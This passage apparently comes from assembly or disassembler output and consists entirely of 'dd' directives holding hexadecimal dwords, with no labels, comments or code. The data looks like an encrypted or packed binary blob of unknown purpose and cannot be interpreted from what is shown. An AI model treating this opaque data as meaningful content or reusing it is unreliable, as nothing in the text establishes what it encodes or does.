		dd 828BD588h, 75C79ADCh, 0E9415659h, 882A7AD8h,	6F16878Eh
		dd 84BA1676h, 0B30812C8h, 0C5582DB7h, 176E853Eh, 68640201h
		dd 1AF771D7h, 112E615Fh, 5FBE5600h, 5CDD1900h, 9C7F6DBDh
		dd 0F529046Eh, 0E4B06BE9h, 0D30598A5h, 0DE018C8Bh, 0D3F4B038h
		dd 268E81BBh, 0CC198DE2h, 13617BF8h, 0D4C0863h,	718CEE00h
		dd 0CE0172A9h, 8800AB0h, 557090E9h, 50C58DB4h, 1B8DFBFh
		dd 840FC90Bh, 56742C94h, 0B6164B9h, 158DBD10h, 2B8F1BECh
		dd 9425A6F2h, 0FE44A147h, 0DD078032h, 60D4623Dh, 26565AC9h
		dd 4E4A337Bh, 12427812h, 0DD04E0C1h, 8640C2A9h,	34481412h
		dd 137F27CDh, 38B6C702h, 1E62905Dh, 0D3122D5Eh,	0BDDCC0F9h
		dd 0A45E0152h, 0A20711ECh, 9E36372Ch, 8C214DEh,	0EDE5D2Fh
		dd 0E960DF0Ch, 601B5940h, 0C256D080h, 0CA0B8116h, 836F6006h
		dd 4BA21DD2h, 0EAC2C47Dh, 32E9DA70h, 4853CEABh,	0A713E1C7h
		dd 0C2376C9Fh, 4E71BF1Fh, 0C3DBDEEDh, 587EFD6h,	55F2EB5Fh
		dd 50E80AB2h, 721D6405h, 0DA5C2DFEh, 0F553B609h, 3FF57203h
		dd 0E378916h, 0FB9268E2h, 5FB8B75h, 4F93F6DFh, 7924586Ah
		dd 0E5169964h, 4577647Fh, 1B800F12h, 713EDCB1h,	0F3E4ABE5h
		dd 5F5D28ECh, 5C4B0152h, 945A611Ch, 7807C7F4h, 49A2DC9Fh
		dd 9F69467Dh, 30D0E811h, 7FE13B4Eh, 0BF5F25F6h,	0E90CD12Bh
		dd 31160523h, 0BFA892D7h, 194CFC5Bh, 0F5315C7Ah, 3F82C96Ah
		dd 0CFF11213h, 0C5ECBC2Eh, 43B08568h, 0E33C54E9h, 39CD0481h
		dd 0BB7E0352h, 5EB634C0h, 0BA7F5097h, 0B53C170Eh, 0A8545C4Bh
		dd 2AF29008h, 99BF69Dh,	0C07827C1h, 57609D82h, 8B27ECECh
		dd 34C9DB0Ch, 0B44B800Dh, 592DD03Eh, 73B7604Eh,	8A357838h
		dd 126F1740h, 0F7406401h, 0F28142DAh, 4AD5FCD8h, 54C0AFD4h
		dd 3073CEF5h, 74BC48F1h, 606BBA46h, 4711CB0h, 0A052AAF6h
		dd 0AB708073h, 6213FB32h, 46BE5FE9h, 7A04E50Fh,	0D825E318h
		dd 730AC256h, 0D929982Ah, 70052474h, 688011CFh,	3D665808h
		dd 5702BAD3h, 61024914h, 0B46AE745h, 8B972590h,	0C53D020Fh
		dd 184A769Bh, 5D53ABEBh, 1008B900h, 366837CCh, 61CF946Bh
		dd 0CC9E3D0Ah, 0DEA9E2E9h, 76456E66h, 89AAA837h, 0A3B6E01Dh
		dd 9FBE4695h, 5CA78B8Ch, 5697F677h, 70D3423Fh, 0ED58E913h
		dd 2B80CC2Ah, 3DF8B94Eh, 10C43DB9h, 777B4DE6h, 533549ACh
		dd 0B400614Ah, 10953659h, 2481A18h, 25BD3009h, 0C680EBF0h
		dd 0A8064501h, 0EAD9E946h, 26B52627h, 94417215h, 0BAC081ACh
		dd 6FA24D0Ah, 99D4FCEBh, 681F43FBh, 0FB84418Bh,	0E9C238E2h
		dd 7F5AB611h, 8EFC103h,	0EAFFC783h, 0BBC5C59h, 0E473FB29h
		dd 27CA96BFh, 35DBA20h,	811A005Fh, 0C82263CEh, 0E927500Fh
		dd 0D5E809E1h, 91960765h, 0DF5AB34Bh, 22C3F7A2h, 0A9CA068h
		dd 29786A05h, 7172DE8h,	60BCDE8Dh, 0BD314C30h, 48751579h
		dd 0A523200Bh, 134CDE7Dh, 0BA56C563h, 8A5B21F7h, 8DE90BDDh
		dd 3C8B667Ch, 68439F2h,	8455D5F7h, 4F13F89Eh, 450B5968h
		dd 60777EFCh, 758A0FE2h, 0E14AC76Ch, 0D789581Fh, 0AB1C7F4Dh
		dd 757B9Dh, 4B921222h, 0D95BDE9h, 191CCFE0h, 8E5431E9h
		dd 4A69D97h, 321C4CA1h,	0B2FB6087h, 60E645A2h, 0E3580CC2h
		dd 0AB8B5FC6h, 534F9216h, 0BC0128AEh, 5A7E312Dh, 0C2969C8h
		dd 0F30F9A07h, 0F9CA037Bh, 8221842h, 48BA5EF1h,	21AB02F7h
		dd 0A9125DD8h, 9CE3640h, 0F81A5527h, 0D0F739C3h, 0E908D831h
		dd 2AEB8F2h, 1B4DD1B8h,	85CE04Fh, 76730F0Dh, 309E5136h
		dd 6635053Ah, 2A288A0Ch, 29E9EA01h, 0BCFD99ADh,	76FBA418h
		dd 0C09FE328h, 1D6BEBC1h, 81FCB551h, 5EE92AF5h,	61922E9Ah
		dd 8DD2F725h, 1DDA240Bh, 5DC98BFAh, 84548AB1h, 53AEE9EDh
		dd 0C319BD00h, 6097952Ah, 14262D2Ch, 0A257C977h, 96747105h
		dd 0E1F88470h, 83F83AB9h, 8DBE82A5h, 0A46FC959h, 0A5129C1Eh
		dd 0A9A53E0Eh, 0BC4BBA0Bh, 7B1E468h, 43194CDBh,	3754EA02h
		dd 0CD5444F9h, 5426A73Fh, 0DA40EF25h, 5E38B57Fh, 0FD658CDh
		dd 82BE0D45h, 0D703FA9Bh, 0EA22035Ah, 45626E6Fh, 8AE35510h
		dd 0B498BF2Fh, 1B0579BBh, 7741E93Ch, 4FF245FFh,	0C35A2221h
		dd 12A5C784h, 0E8465CBAh, 3A1C0FCCh, 7634682Ah,	0ECC9E985h
		dd 17E75A65h, 73CFF6Ah,	0F99B3428h, 0E4828542h,	2F778618h
		dd 9A88028Ah, 0C491DFC6h, 2D55EC8Bh, 0F2150201h, 5D02920h
		dd 0A6E90740h, 3FF9B7FCh, 0D1FF5896h, 0B4A4C7CEh, 0F3AAD08Fh
		dd 29FF4F43h, 3EED6B1Bh, 0BB04F32Fh, 4BDDFC89h,	0E8B3CC5h
		dd 1066884Bh, 0E9619FA0h, 0FFEC192Dh, 5B083920h, 47648F5Dh
		dd 7BD0F1AEh, 27447DBEh, 89F72388h, 9C4277D1h, 429FD15Dh
		dd 81F02FE9h, 7E51BA04h, 0A3BE0DAFh, 510992E5h,	1D78DAA7h
		dd 54F37C19h, 7310B547h, 0F7810170h, 71C61AC3h,	0BF2F86F0h
		dd 0DCC717A0h, 0F848160Dh, 0BCE9092Ch, 8AC1D110h, 69E8D97Ch
		dd 78FA0B7Fh, 13AB5E0Fh, 816F60E4h, 2C3103EFh, 892EFCA3h
		dd 98A25428h, 0CAA02AF0h, 681559C8h, 3A3202CEh,	0C6800BB6h
		dd 162F5808h, 0D0D3F7E9h, 0DB7C7316h, 614F0F7Bh, 66B79C7h
		dd 0BD14B9Dh, 4D5506EDh, 85401A02h, 0C5015F00h,	84519D57h
		dd 93A68993h, 0F833405Fh, 0E91AF52Ah, 0F55D360h, 0A8B4368Eh
		dd 9B2485CCh, 0C7800026h, 0F4D5653h, 0FBB284F2h, 597C39BDh
		dd 5AE9E070h, 0F65A0560h, 0E79982DDh, 0DE0CDD0Bh, 0F4F60606h
		dd 3B88B15Bh, 0C681A154h, 8FD3833Bh, 0EDCAFED4h, 92A6A94Bh
		dd 842E9FA3h, 0A33B88FCh, 0D5AF02Fh, 133A126h, 889CA56h
		dd 85988508h, 0E7D159h,	796CB6B7h, 0D74C0113h, 3A1D4FA4h
		dd 4D849953h, 0E6435682h, 9F5CFAB0h, 0F4AE680h,	724B9B8Fh
		dd 74447D90h, 1F4C4BE6h, 8B89C34Dh, 1F070102h, 5864A9CFh
		dd 0BEFCD1B5h, 1F92C9B0h, 0B416E628h, 19C06C35h, 634127AFh
		dd 0E6F997F1h, 2F826117h, 0B0914661h, 0D9212684h, 0E9A0FB5Bh
		dd 0E3475E44h, 12DA3DCCh, 0D388271Dh, 0AE5E4B52h, 0CCBFB5Fh
		dd 0EEA9E979h, 9471FDC2h, 0C68CA4A7h, 0BEE212EBh, 74B8DB2Ch
		dd 34F00DB0h, 0EE0BAC2Dh, 7C041FF0h, 5F520A30h,	705D984h
		dd 0F3F96858h, 0BB15E90Bh, 19AE7F20h, 0A7B42BBFh, 87DFF707h
		dd 31DB872Eh, 0FE3CE962h, 7C596DBh, 759EB72h, 2E56D2E3h
		dd 109CB800h, 2D4F1E9Ah, 6234C0F6h, 0AD218725h,	48D030EDh
		dd 5D15050Bh, 0E97A60D9h, 0D1F96726h, 0A0DC74F1h, 4F09B112h
		dd 558AE180h, 49787289h, 0E04F197h, 841130EDh, 9137A5A3h
		dd 0A7A8A985h, 9E57D637h, 0EE2E92E9h, 5EF5DF71h, 820B7460h
		dd 398CEB81h, 840FC844h, 2C8205Bh, 0BCA71326h, 6A8D010Ah
		dd 901DE548h, 0C6413CFEh, 737605FCh, 4D6F3A6Eh,	0E8E96286h
		dd 0C6094368h, 5DDB0629h
		dd 38EB6580h, 7AF50C55h, 8013D84h, 2EAF685Eh, 0E23FF34Dh
		dd 92C0A5CDh, 12F01E11h, 0A0A1E948h, 0C327301Fh, 65727953h
		dd 0D3080138h, 8185C3E9h, 2725C5A5h, 0A24166ADh, 216DF54Ah
		dd 38FFB825h, 4A59DFF7h, 33E02C5Bh, 0B0509340h,	0F8A94B87h
		dd 0DEF785DBh, 94FF2781h, 0E3C7C610h, 0E922C809h, 896879CDh
		dd 51981487h, 5273D088h, 0B89BC275h, 0FEC1E985h, 808385BCh
		dd 0F39A16E3h, 2CC52040h, 8EB4503Eh, 0D58E528h,	97F598DDh
		dd 5EEF4145h, 0AD4DC95Dh, 0D99303DCh, 8E5FDB4Fh, 7CEC1387h
		dd 6205E8A2h, 91E32500h, 0F6453870h, 9FC37076h,	6858BD5Eh
		dd 0B3164B94h, 4E82706h, 11AC6646h, 12889574h, 0D0542708h
		dd 95551DECh, 1134F410h, 980FE3A4h, 6C97045Fh, 0F846D16Ch
		dd 2B1F09E6h, 620130C8h, 802278EEh, 288FCF18h, 2CC13FA9h
		dd 0E503E7h, 7CB5575Fh,	80A1FE09h, 0BAB18FEEh, 29CBC76Ah
		dd 7B9CD115h, 5C580CE9h, 0D50C6F67h, 0CA426E3Ch, 0C128B9F8h
		dd 3EA18008h, 61262E22h, 0AB031381h, 0CF498DD0h, 916F5B57h
		dd 2B12C2ADh, 0F9305E31h, 5F0FBB00h, 814E1606h,	0A10D0DF3h
		dd 127D8004h, 8E14524h,	521F91DAh, 5FA9BDCBh, 5BFDFB22h
		dd 5CA6C5A3h, 8F00B13h,	0D594CEFDh, 3C595705h, 0C14EDC43h
		dd 4B32BB01h, 8DFCE979h, 0F41E8005h, 0A494713h,	3127E77h
		dd 29BE0104h, 0FD96030Eh, 24EA372Dh, 0ADE35E0Bh, 15300C4Ch
		dd 1022C125h, 895EC825h, 0DFCD09CAh, 184A646Ch,	0A9D75AACh
		dd 63B94E9Fh, 5D270E96h, 0BA6E22E5h, 5D296D09h,	3F0BAF88h
		dd 1D31C8CBh, 2480D240h, 0BA909C3h, 388428ADh, 0A3B5EB91h
		dd 3AE2CF8h, 247C292Bh,	0A1AC5F0Ch, 0EB53A5Fh, 1F5B1103h
		dd 96E0413h, 43FD2D02h,	926CE237h, 514000Ch, 5F1ABD52h
		dd 0F902BF59h, 55DAE953h, 0EA4DF284h, 7C6E14C2h, 21B66062h
		dd 4B486DD2h, 465C000Fh, 9DE91058h, 61CC9CA0h, 0C6FFC9B1h
		dd 0CB5DF9FFh, 0A7247FCCh, 92BF3EB2h, 0FEB8C414h, 9B066E01h
		dd 3BF3316Ah, 0ED2518F6h, 0C5D0FC0Bh, 6CB77C4Bh, 0B9638D48h
		dd 37254D45h, 0B450788Fh, 1EC8899h, 2012162Ch, 0E4B48530h
		dd 0BF629851h, 7116C27Bh, 8B3BFBACh, 1281B5F8h,	4055CD2Eh
		dd 0AA0990F1h, 3E562358h, 58BDFA70h, 7610B18h, 43D057E1h
		dd 5AE3E207h, 0DA853F47h, 5CBD7D80h, 551B48C2h,	2119D338h
		dd 0EC060C37h, 699596ADh, 173F68F2h, 6CDDAF98h,	20AB5AC2h
		dd 71959E1Ch, 18F769CCh, 5EB8E985h, 5A22F3F5h, 101F94D1h
		dd 5A747A56h, 62CB2973h, 0D954789Fh, 3BE326A1h,	2661078Ah
		dd 0E97BA7BEh, 0C0537F51h, 845A0A01h, 4E70AEDBh, 4F09035Eh
		dd 0F69CE91Ch, 29B0C05Eh, 0E7055E24h, 88E64E41h, 199DA410h
		dd 0D58ECDFEh, 0B56B5B02h, 7558EF9Ah, 9D533F14h, 0ACF70282h
		dd 0E30FA272h, 841000C3h, 31587174h, 2D6BE9F9h,	0BF3EF775h
		dd 680070B6h, 43730115h, 0E68B170Fh, 221AFA3h, 8FA9EDA6h
		dd 25612BF9h, 0D1F8366Ch, 4941E695h, 2C98BAC8h,	0A2260FBCh
		dd 0E99D5016h, 9AE5A354h, 0E27E5E49h, 64AA107h,	0B8BAEF48h
		dd 6BF1D19Dh, 5BE4157Ch, 2EACCEAh, 251A270Bh, 9F80F531h
		dd 0E66560EBh, 490C7667h, 55208C62h, 80DB36Ah, 0C514040Ch
		dd 4AB48EA1h, 38E9DE9Ch, 0BE5E76B3h, 3D6ACA29h,	68C3E4F1h
		dd 0F7177E2Ch, 714446C2h, 1129888Dh, 8EFB5D16h,	68520B2Eh
		dd 54E25AF5h, 9BA9D5Bh,	75626F9Fh, 0CAEADE20h, 364A7EE5h
		dd 680A80FCh, 0A73D73DAh, 5A9F99D0h, 4EE913A7h,	0EB8140ADh
		dd 1D0B5241h, 0D188DDDFh, 885305D2h, 0EA6583D7h, 2DED2D03h
		dd 0D964A45Ch, 0BD76B43Dh, 0C740EC1Ch, 3BFE52CCh, 4692A506h
		dd 0E5FC7695h, 89EC6051h, 0D3A15BD9h, 0D5CA3F59h, 25688244h
		dd 7E5678FDh, 0E747E9C1h, 0F6CFE105h, 0F571DE2h, 7F553ADEh
		dd 24EA4F81h, 0E927EC30h, 0DC974127h, 0B6555A9Dh, 0F9E93066h
		dd 6D59B8CDh, 29415E17h, 3C1B41BAh, 407C1A74h, 5F3211A5h
		dd 820C6C6Fh, 7DF3212Dh, 2E2A9D61h, 0CB68E483h,	1257270Fh
		dd 0F502ABFAh, 0CE7F0A6Ch, 49527C89h, 0ED8256A4h, 0CC501B9h
		dd 5B68016Ah, 0A902BBFFh, 0CB2A62EFh, 45ED1790h, 0D85E2FE7h
		dd 824FFBB7h, 6583AC27h, 7E8E4D08h, 0B5B9F278h,	2EBCEC5Eh
		dd 0F83970Bh, 3F83E786h, 0FCDBAC5h, 9478ED31h, 0E2D10066h
		dd 9388130Fh, 0D8C345D7h, 40599851h, 5E3AF565h,	0CE0A83F0h
		dd 0F1F38721h, 0E47FEED7h, 430E0E60h, 0F1C111ACh, 8DDF8C2Ah
		dd 5FA00934h, 0B1305FC2h, 0A3CBAB78h, 2F80DE9Ah, 16A815FFh
		dd 4EF1CBE8h, 0FECCA153h, 48631705h, 0F0F20593h, 5E07092Dh
		dd 9E2C55Fh, 9E7D6F91h,	256A90F1h, 26C666B1h, 627A0507h
		dd 96E54CD9h, 0C19580EFh, 460302EEh, 86FF681h, 0C2F2BF5Bh
		dd 0B5760AEFh, 0CF85F88Ch, 0E8188E9h, 8EE9C729h, 0E23454F6h
		dd 2083F349h, 41FE682Fh, 807C4B70h, 3157383Bh, 0D75B8CB0h
		dd 95BCEE0h, 0D5E9187Ah, 0EB2697FAh, 0C7435EB3h, 0AD6CE8ECh
		dd 1E662568h, 20A02666h, 0E9121610h, 0CFA7320Dh, 9205E34Fh
		dd 21D2F1B3h, 1A72FA4h,	3E30ECB1h, 0CC283A57h, 59BCC4BAh
		dd 0F0E0BF6h, 25C00D85h, 0C8B8ECD0h, 0BFDDEE32h, 0F5784AA5h
		dd 1E5ECDE3h, 26FFA430h, 0B5545FDCh, 5D8FD041h,	0E907FA05h
		dd 14B4FB3Bh, 9FB3E21Fh, 45C5CDE9h, 0AE128108h,	88BB0351h
		dd 0F455CB2Ch, 818EA8FEh, 764B0EE3h, 0F3C078A1h, 10201244h
		dd 0BC0678BDh, 0BF682Eh, 283630A6h, 0BC5A2BFh, 94ABC731h
		dd 0E49ABAF4h, 0B612E849h, 7388EFC9h, 0BDED922Ch, 0FC52DAF4h
		dd 38BA006Fh, 0E975F453h, 97ACB45Ah, 4B0BFAD6h,	0A91379C1h
		dd 0C2F316BAh, 77404Ch,	4CB30DF3h, 576031Ch, 0E03A9426h
		dd 0A9E9B812h, 0B27BBBA1h, 0A668C281h, 765D507h, 6358E90Bh
		dd 0CD64A76Ah, 0EA6812A0h, 0A52C995Fh, 5FA5AE5Eh, 13828CE7h
		dd 62729660h, 4C5955CEh, 0D02A6D63h, 4E2BE90Ah,	0C942B886h
		dd 0B7B070FBh, 0C6200516h, 0BD662D76h, 110285Eh, 9FB2BA62h
		dd 135FF9DDh, 4345EE33h, 0C909891h, 187A1D77h, 6C4E5E55h
		dd 0A097D160h, 7825D524h, 0F289060Eh, 0FDA74BE9h, 0AD174521h
		dd 0F746FAF4h, 3D8E37B0h, 0A07ED5D9h, 46022DFDh, 315E9950h
		dd 2D489C5h, 564CCC23h,	0C821707Eh, 7BD05B0h, 6F825CD1h
		dd 85AC7E1Ch, 0BA3F9C68h, 0D92F673Dh, 7420AD16h, 127F7AF2h
		dd 9114D5D1h, 5A1A6D27h, 0DA313CF8h, 9076E096h,	0F37920BDh
		dd 0BD056302h, 0DDCB7EDEh, 95E92681h, 85902BE2h, 7EAA6F5Bh
		dd 0A2D34E51h, 1712D6FAh, 558F3DBEh, 0D6E2EFA6h, 2127531Ch
		dd 0ADC7253Ch, 0B63EB24Ch, 72FD8424h, 5C5D9AAEh, 2A1C48E2h
		dd 5A5AD614h, 0E7D16FA0h, 766ED83Ah, 6802C9BAh,	19F009B7h
		dd 657C5559h, 9CB95180h, 0BD44296Ah, 3F243879h,	22D2060Ch
		dd 3724C05Ah, 0C16CB60Eh, 0C8BFF2B8h, 251365BEh, 2BE064F3h
		dd 0D24BF6ECh, 931B4E0h, 0F12906CEh, 17088888h,	221E095Eh
		dd 3DF4195Fh, 11A1142Ah, 0EDC1293Ch, 19BD7F99h,	0DBF70809h
		dd 0A2F68504h, 434E7813h, 0A7E18FD7h, 508CEB6Ah, 0B1DB9E3Eh
		dd 39802A3Fh, 9CF19FB7h, 7DED5796h, 7CEE311Ah, 95B12D8h
		dd 60F31880h, 42671228h, 0B58B8D1h, 8B3A5Ch, 6230E25Bh
		dd 0E5145C45h, 0C592B93Eh, 9190333h, 0EFB48C08h, 80637D4h
		dd 220425Bh, 0CF2883DFh, 10D8BFE9h, 6F135E9Dh, 0D56B2C85h
		dd 1C56AA15h, 0D82516A8h
		dd 0A0C2A89Bh, 0D8A7F25Eh, 49612D64h, 172E9094h, 5F5AE831h
		dd 1DE96121h, 0C8442B85h, 0B110A65Ah, 0BD15D758h, 0FD4FBCA2h
		dd 8E521143h, 275CE710h, 82DB1A5Fh, 5F480A27h, 0FD828694h
		dd 0EC63CC18h, 0CF88719Dh, 0F4A59DC5h, 0B2B02C1Ch, 88C08D34h
		dd 0D6686F81h, 0AB00BCDBh, 0E92D21BCh, 48EE5B27h, 1F11BD48h
		dd 12385668h, 2FE3BAA4h, 0A295F612h, 7B99516Fh,	0E6ABBBC5h
		dd 0D52984EEh, 0FB29E92Ch, 80606268h, 0FA0F99CBh, 0C3AFBF7Eh
		dd 0B8A9CE4Bh, 85D780DFh, 9F49341Ch, 0CE58C2CAh, 0B332E930h
		dd 4B9D685Fh, 92CBAD73h, 0FC0530D9h, 4A6BCEEAh,	0C13E54F1h
		dd 3A141FA8h, 279AB1DCh, 0F703C17h, 85828C7Eh, 0D40041E4h
		dd 233E56AEh, 0F28B7A51h, 0FAC8B7EEh, 0E917CE01h, 77FACBF9h
		dd 81E234BCh, 4261822h,	5F2A1B81h, 42CA5F3Bh, 33EA1766h
		dd 66415843h, 0BD5E4108h, 0B7EC7BFEh, 3AD43A86h, 0BB35584Fh
		dd 4E7FC204h, 0C051BC5h, 90301820h, 4C559F68h, 4D486A7Fh
		dd 0F9870609h, 774C0255h, 0F91EDD7Ch, 614156C1h, 80605001h
		dd 4969974Ah, 0D1E9E403h, 0D7E29054h, 71209441h, 0DA4E14C9h
		dd 0BB048F34h, 0FEF5B33Ch, 0F0E9AFE0h, 659296CEh, 33D950Ch
		dd 1E5FE24Fh, 45B5EB94h, 6A13A02Dh, 79AE90A7h, 614EDF6Bh
		dd 0A7047353h, 0FF13E190h, 0C81B5BC2h, 1E6C1F5h, 1ECE8105h
		dd 0BA793319h, 39628196h, 3415E97Ch, 8838FA6h, 0CA2099B5h
		dd 0C68E20Ah, 2D0BD710h, 0FCE61EBFh, 0FCE85E0Eh, 0EB1A9E10h
		dd 48BD400Fh, 0AC2BE14Bh, 19F2B7A4h, 536768A4h,	3BDE0B62h
		dd 2300D801h, 57B44E14h, 3F770690h, 0E9E42A06h,	353B7E75h
		dd 9C66DCF0h, 89B6583Dh, 58D5CC2h, 0B7EE0568h, 6F9FF565h
		dd 1AF16FFDh, 0F2BB8928h, 4E4165Eh, 2E45B7BBh, 308EF178h
		dd 9B95643Bh, 0BE6A03BBh, 4DB86EDAh, 210DD60Eh,	0E03149F4h
		dd 1DD3F622h, 806C4C4Fh, 806056C5h, 7F20E962h, 8535019Fh
		dd 891B8A53h, 524070C7h, 5CECC55Eh, 57E051C9h, 803FDDF6h
		dd 0F50673EDh, 59E828A5h, 0C18C40C6h, 8102E200h, 1B2F25CAh
		dd 9613FC2Ch, 0EF310B63h, 0BCC8055h, 1E56F723h,	49EA6857h
		dd 0FD84073Ch, 280012F9h, 9835DBF2h, 8D0F3F7Dh,	0C28342CEh
		dd 66436F0Bh, 52A98CE1h, 0F415D93h, 0F94703FFh,	0DACB84Bh
		dd 0CF081F42h, 0EDFF99CCh, 0C44FC8F9h, 66D52F4Fh, 108E7004h
		dd 0C5C90F13h, 22EEDE4h, 711F8768h, 1DA800Dh, 0F8093088h
		dd 0D4A6E916h, 7DB98D37h, 67586D12h, 801DECBDh,	9876A381h
		dd 4FD60BA6h, 0B553767h, 1329DB23h, 50D1FDFh, 80343D25h
		dd 5810EADFh, 877E2D28h, 555B0309h, 99A1DD19h, 0FEA777AFh
		dd 47EEA18Eh, 0B6C00BF6h, 0CF7554ABh, 423D925Fh, 6EDC02Eh
		dd 38AFF58Ah, 664DE27h,	59147995h, 0C2E22B09h, 694DE9C3h
		dd 0ABC77F00h, 1C94A8Dh, 929894FDh, 25F24567h, 313DC335h
		dd 0BF114A3h, 0B64F3E20h, 407F072h, 0ABC1089Dh,	0AADAA87h
		dd 844F12E0h, 479C0113h, 70568C57h, 13486E96h, 0A3F86F34h
		dd 7B08D121h, 75283B18h, 1F3EFC40h, 30EB4E30h, 0A7D2E9EBh
		dd 7B031BB5h, 0CB0320D8h, 667253EEh, 11B86819h,	0DFFAC1E9h
		dd 0BD4A6416h, 775A0609h, 92603592h, 7FE11EBCh,	0AE9365B7h
		dd 0ACE93430h, 0C80BC638h, 0A9F454E3h, 48CDE15Ah, 4806CEF1h
		dd 3302EB07h, 0F36028B1h, 6B5FD3ABh, 312540Ch, 20F750D5h
		dd 0C1B7FBEDh, 0AC89F57Dh, 0F579F91Bh, 23ED5549h, 0E905D6AFh
		dd 4B9865F7h, 277665DDh, 8169305Eh, 8676A518h, 67D901E4h
		dd 6060C257h, 814511FFh, 6CBECD07h, 0BC6C4D7Eh,	5F79271Bh
		dd 57CA1042h, 6BFEDC55h, 86C96DF5h, 0AB763E9h, 30C53416h
		dd 2C0ECCFAh, 0F8794170h, 0C3F85BE8h, 0D269E92Dh, 7A8526A1h
		dd 428F6118h, 5BAD7A38h, 7D3A6809h, 570BEEC6h, 57092777h
		dd 0C3689E8Fh, 0ADE3B05Bh, 76B9263Ch, 8C7A123Ah, 0CC52D62Dh
		dd 70F20499h, 0E8AA7B59h, 12B05B95h, 98DBF692h,	0BC89789Fh
		dd 7F7427A3h, 5F8714C2h, 80078047h, 0EB30AFC3h,	0EDD4E93Fh
		dd 0B0EE985h, 46B1C3BCh, 6A5193E1h, 4250E9A2h, 0C07D8237h
		dd 2D234C12h, 1292028h,	8B39825Fh, 8AC75734h, 1A7CC08h
		dd 0C73DB305h, 0F0DD6129h, 60BE3F88h, 0F8FF0449h, 0B3C0EF1Fh
		dd 0A548680Bh, 0F4BF17DEh, 7A79DDFAh, 5B80ADB9h, 56EBD143h
		dd 0D02E490h, 0E90A3659h, 0D20B75F9h, 24CBFFF6h, 3CF09B95h
		dd 81EB5FB3h, 28F3287Ch, 0E95107D3h, 0FD09367Eh, 819DA6EEh
		dd 4CA50EE2h, 13414130h, 0F119A56h, 9EA402DAh, 7488020h
		dd 31604A60h, 35A9CE18h, 0BC74980Fh, 1FBE00A2h,	296F1221h
		dd 7FF9F75Ch, 0E9C0B605h, 10CA0DA0h, 6628BE4Eh,	0F30BAED9h
		dd 453C2E9Ch, 0C45E43F7h, 2107121Eh, 7F2D88D2h,	0B0894C8h
		dd 1EBA6C40h, 84C51943h, 0E90A026Ah, 0A8C8F7D9h, 74BDF030h
		dd 0D1F7725Ah, 0F38A4276h, 0E6D52E75h, 32B7CB0h, 594447F1h
		dd 24E255BBh, 28F3048h,	2BE948EEh, 0A04C2CAAh, 0F945905Fh
		dd 0A2AF6602h, 525300A1h, 0DE4BE368h, 0B561B532h, 0CA0FBEE7h
		dd 5DEE1784h, 9686CB3Bh, 0E376A4h, 716D06CBh, 4B11FC1Ch
		dd 126DB7DFh, 31ACED81h, 0E94022A4h, 0F4DBD07Fh, 8F439747h
		dd 0FA8EB2A7h, 3F23B248h, 9BE1C9C4h, 5BDA7591h,	2113DD62h
		dd 0B065A8F9h, 2F0BE9C1h, 0F2455455h, 646159AFh, 9E7AAC46h
		dd 7EEB2A09h, 5632C29Ch, 0BFCB6CD7h, 64890365h,	885A798Dh
		dd 0DB2CF4AFh, 811A1C0Ch, 8BB0FE3h, 8E8211D1h, 5FC9C299h
		dd 0E95D6FF3h, 3CAFC116h, 49BF2B10h, 7E30F79Eh,	72BB8024h
		dd 3642C1Eh, 58D2DBD4h,	6FC302AAh, 54210A5Fh, 436D0F6Fh
		dd 0B3B5F032h, 0BCF6E818h, 173B8C5Eh, 50292651h, 835808A8h
		dd 0BC19A416h, 63F1E80Fh, 8DFEA9B5h, 0DEF7D813h, 53B06F01h
		dd 0AC6E50D9h, 5ECE00F2h, 0E9499F15h, 0FBEC4A44h, 7589AC32h
		dd 682C427Ah, 4CF2A45h,	31AF55C3h, 7295263h, 1344EFD3h
		dd 34BD3481h, 6060D962h, 0EB06885Bh, 0D6F6F386h, 0BEDDF008h
		dd 30752FB1h, 0B7E43886h, 2F597BEEh, 0D6282503h, 5EC3075Ah
		dd 6F0567C0h, 0D880EF2Fh, 8FB2525Bh, 6412FD95h,	0E98422E7h
		dd 49FADCD1h, 0DC0454BFh, 0CC05128Ch, 2CBE3756h, 2AC655E2h
		dd 771FC57Dh, 927EFDD9h, 0FE76C17Bh, 0D55A6AA6h, 0E916A6D2h
		dd 37AE0EC9h, 9E02BD4h,	54B08958h, 0E57DAB7h, 44507D80h
		dd 5137C5A0h, 0D61F0578h, 0E945566Bh, 28BE743Fh, 71701011h
		dd 0D2965797h, 3F947F95h, 0E558C627h, 0B0A79251h, 0F7F847C5h
		dd 0B91CE30Bh, 0C0E7025Dh, 407E0BCAh, 346DA78Ch, 0C6530357h
		dd 4B5CDAC5h, 2C61D8E1h, 4AE9A806h, 0D356B442h,	335C54ACh
		dd 510C26B0h, 0FFBC8925h, 60AF59CDh, 8A79C324h,	720446F4h
		dd 42858859h, 0BBACD0FFh, 7E1E22BCh, 0BECB5756h, 0BAF96BB7h
		dd 13CD5ECEh, 2B92AF29h, 0A82FDFDBh, 2158C362h,	0E3FC3842h
		dd 0D11CEE42h, 58C580A8h, 0F423AC9h, 0C20B8D18h, 1F1BF2B3h
		dd 4750301h, 0E4B16384h, 7BF0F545h, 0E9683006h,	3183967Fh
		dd 0EFB859C8h, 7FD949F1h, 2086AF21h, 47DEBB00h,	34691726h
		dd 0AB728E01h, 3EDD0F51h, 0E909B33Ch, 0B9F74CFBh, 3E2C5BC2h
		dd 10E66F84h, 9C0F1288h, 83F062FFh, 5FA51708h, 62356580h
		dd 6A16BF3Eh, 8FE6C689h, 3EA3AC4Ah, 0DF4D6936h,	0AE741940h
		dd 9918B124h, 0CF5B0902h, 0AFA8FD15h, 13FF2608h, 11396190h
		dd 8580041Bh, 4B83E196h
		dd 0C377B494h, 852D520Ch, 5470C65h, 1746C53h, 904BF9FBh
		dd 0E5E9120Dh, 9D683F80h, 3CBF322Fh, 227C76F6h,	0F4807A60h
		dd 0B5E3E073h, 1C65ECFEh, 0F05A35E8h, 0F55D8BB7h, 40483Eh
		dd 6E2C032h, 87F280h, 8A59B050h, 0E94A5EC8h, 4844F627h
		dd 3D73419Eh, 66B72EF1h, 0D5E55217h, 968ED35Fh,	0EB19C481h
		dd 0F1368A7h, 77FFB932h, 0C3A26333h, 0CC56F1DFh, 81EFBD50h
		dd 767312C7h, 121EE4h, 47870C74h, 4F4AE95Dh, 8EEBD5D1h
		dd 280ADAF0h, 80A6F301h, 62665E08h, 8ACB728Fh, 83093EFAh
		dd 0DD430F0Eh, 80F8B62h, 0AFF513A4h, 0B21328B2h, 885FAAEAh
		dd 0C4A1A5F8h, 0E68102D7h, 211F44FBh, 3AC068C1h, 698F3727h
		dd 4604316Dh, 12F0D7Ch,	12932B54h, 3C0B940Dh, 8F2D986Ch
